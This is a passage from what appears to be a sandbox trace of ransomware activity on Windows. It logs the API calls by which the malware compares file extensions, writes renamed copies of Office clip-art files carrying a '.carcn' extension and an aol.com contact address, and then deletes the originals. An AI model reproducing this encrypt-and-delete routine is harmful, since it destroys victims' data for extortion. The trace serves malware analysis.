(lpString1=".ppt", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.016] lstrlenW (lpString=".zip") returned 4 [0276.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.016] lstrlenW (lpString=".rar") returned 4 [0276.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString=".bz2") returned 4 [0276.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString=".7z") returned 3 [0276.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.016] lstrlenW (lpString=".dbf") returned 4 [0276.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.016] lstrlenW (lpString=".1cd") returned 4 [0276.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.016] lstrlenW (lpString=".jpg") returned 4 [0276.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.017] lstrlenW (lpString=".doc") returned 4 [0276.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.017] lstrlenW (lpString=".docx") returned 5 [0276.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.017] lstrlenW (lpString=".pdf") returned 4 [0276.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.017] lstrlenW (lpString=".xls") returned 4 [0276.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.017] lstrlenW (lpString=".xlsx") returned 5 [0276.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.017] lstrlenW (lpString=".ppt") returned 4 [0276.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.017] lstrlenW (lpString=".zip") returned 4 [0276.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.017] lstrlenW (lpString=".rar") returned 4 [0276.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.017] lstrlenW (lpString=".bz2") returned 4 [0276.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.017] lstrlenW (lpString=".7z") returned 3 [0276.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.017] lstrlenW (lpString=".dbf") returned 4 [0276.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.018] lstrlenW (lpString=".1cd") returned 4 [0276.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.018] lstrlenW (lpString=".jpg") returned 4 [0276.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.018] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0276.018] lstrlenW (lpString="DD01167_.WMF") returned 12 [0276.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0276.019] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2080) returned 1 [0276.019] CloseHandle (hObject=0x560) returned 1 [0276.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0276.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0276.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0276.020] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.020] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0276.021] GetLastError () returned 0x0 [0276.021] ReadFile (in: hFile=0x560, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x820, lpOverlapped=0x0) returned 1 [0276.216] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x830, lpOverlapped=0x0) returned 1 [0276.216] ReadFile (in: hFile=0x560, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.217] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.217] SetEndOfFile (hFile=0x564) returned 1 [0276.217] CloseHandle (hObject=0x564) returned 1 [0276.217] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.217] SetEndOfFile (hFile=0x560) returned 1 [0276.220] CloseHandle (hObject=0x560) returned 1 [0276.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0276.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.221] lstrlenW (lpString=".doc") returned 4 [0276.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.221] lstrlenW (lpString=".docx") returned 5 [0276.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.221] lstrlenW (lpString=".pdf") returned 4 [0276.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.221] lstrlenW (lpString=".xls") returned 4 [0276.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.222] lstrlenW (lpString=".xlsx") returned 5 [0276.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.222] lstrlenW (lpString=".ppt") returned 4 [0276.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.222] lstrlenW (lpString=".zip") returned 4 [0276.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.222] lstrlenW (lpString=".rar") returned 4 [0276.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.222] lstrlenW (lpString=".bz2") returned 4 [0276.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.222] lstrlenW (lpString=".7z") returned 3 [0276.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.222] lstrlenW (lpString=".dbf") returned 4 [0276.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.222] lstrlenW (lpString=".1cd") returned 4 [0276.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.222] lstrlenW (lpString=".jpg") returned 4 [0276.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.222] lstrlenW (lpString=".doc") returned 4 [0276.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.223] lstrlenW (lpString=".docx") returned 5 [0276.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.223] lstrlenW (lpString=".pdf") returned 4 [0276.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.223] lstrlenW (lpString=".xls") returned 4 [0276.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.223] lstrlenW (lpString=".xlsx") returned 5 [0276.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.223] lstrlenW (lpString=".ppt") returned 4 [0276.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.223] lstrlenW (lpString=".zip") returned 4 [0276.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.223] lstrlenW (lpString=".rar") returned 4 [0276.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.223] lstrlenW (lpString=".bz2") returned 4 [0276.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.223] lstrlenW (lpString=".7z") returned 3 [0276.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.223] lstrlenW (lpString=".dbf") returned 4 [0276.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.224] lstrlenW (lpString=".1cd") returned 4 [0276.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0276.224] lstrlenW (lpString=".jpg") returned 4 [0276.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.224] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0276.224] lstrlenW (lpString="DD01169_.WMF") returned 12 [0276.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0276.813] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2020) returned 1 [0276.813] CloseHandle (hObject=0x554) returned 1 [0276.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0277.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.646] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.646] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0277.648] GetLastError () returned 0x0 [0277.648] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0277.719] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0277.721] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.721] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.721] SetEndOfFile (hFile=0x540) returned 1 [0277.721] CloseHandle (hObject=0x540) returned 1 [0277.721] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.721] SetEndOfFile (hFile=0x54c) returned 1 [0277.726] CloseHandle (hObject=0x54c) returned 1 [0277.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0277.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.727] lstrlenW (lpString=".doc") returned 4 [0277.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.727] lstrlenW (lpString=".docx") returned 5 [0277.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.727] lstrlenW (lpString=".pdf") returned 4 [0277.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.728] lstrlenW (lpString=".xls") returned 4 [0277.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.728] lstrlenW (lpString=".xlsx") returned 5 [0277.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.728] lstrlenW (lpString=".ppt") returned 4 [0277.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.728] lstrlenW (lpString=".zip") returned 4 [0277.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.728] lstrlenW (lpString=".rar") returned 4 [0277.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.728] lstrlenW (lpString=".bz2") returned 4 [0277.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.728] lstrlenW (lpString=".7z") returned 3 [0277.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.728] lstrlenW (lpString=".dbf") returned 4 [0277.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.729] lstrlenW (lpString=".1cd") returned 4 [0277.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.729] lstrlenW (lpString=".jpg") returned 4 [0277.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.729] lstrlenW (lpString=".doc") returned 4 [0277.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.729] lstrlenW (lpString=".docx") returned 5 [0277.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.729] lstrlenW (lpString=".pdf") returned 4 [0277.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.729] lstrlenW (lpString=".xls") returned 4 [0277.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.729] lstrlenW (lpString=".xlsx") returned 5 [0277.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.729] lstrlenW (lpString=".ppt") returned 4 [0277.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.729] lstrlenW (lpString=".zip") returned 4 [0277.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.730] lstrlenW (lpString=".rar") returned 4 [0277.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.730] lstrlenW (lpString=".bz2") returned 4 [0277.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.730] lstrlenW (lpString=".7z") returned 3 [0277.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.730] lstrlenW (lpString=".dbf") returned 4 [0277.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.730] lstrlenW (lpString=".1cd") returned 4 [0277.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0277.730] lstrlenW (lpString=".jpg") returned 4 [0277.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.730] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0277.730] lstrlenW (lpString="DD01181_.WMF") returned 12 [0277.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.731] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1448) returned 1 [0277.731] CloseHandle (hObject=0x54c) returned 1 [0277.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0277.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0277.732] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.732] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0277.733] GetLastError () returned 0x0 [0277.733] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0277.767] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0277.768] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.768] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.768] SetEndOfFile (hFile=0x540) returned 1 [0277.769] CloseHandle (hObject=0x540) returned 1 [0277.769] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.769] SetEndOfFile (hFile=0x54c) returned 1 [0277.772] CloseHandle (hObject=0x54c) returned 1 [0277.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0277.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.774] lstrlenW (lpString=".doc") returned 4 [0277.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.774] lstrlenW (lpString=".docx") returned 5 [0277.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.774] lstrlenW (lpString=".pdf") returned 4 [0277.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.774] lstrlenW (lpString=".xls") returned 4 [0277.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.774] lstrlenW (lpString=".xlsx") returned 5 [0277.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.774] lstrlenW (lpString=".ppt") returned 4 [0277.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0277.774] lstrlenW (lpString=".zip") returned 4 [0277.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.774] lstrlenW (lpString=".rar") returned 4 [0277.774] 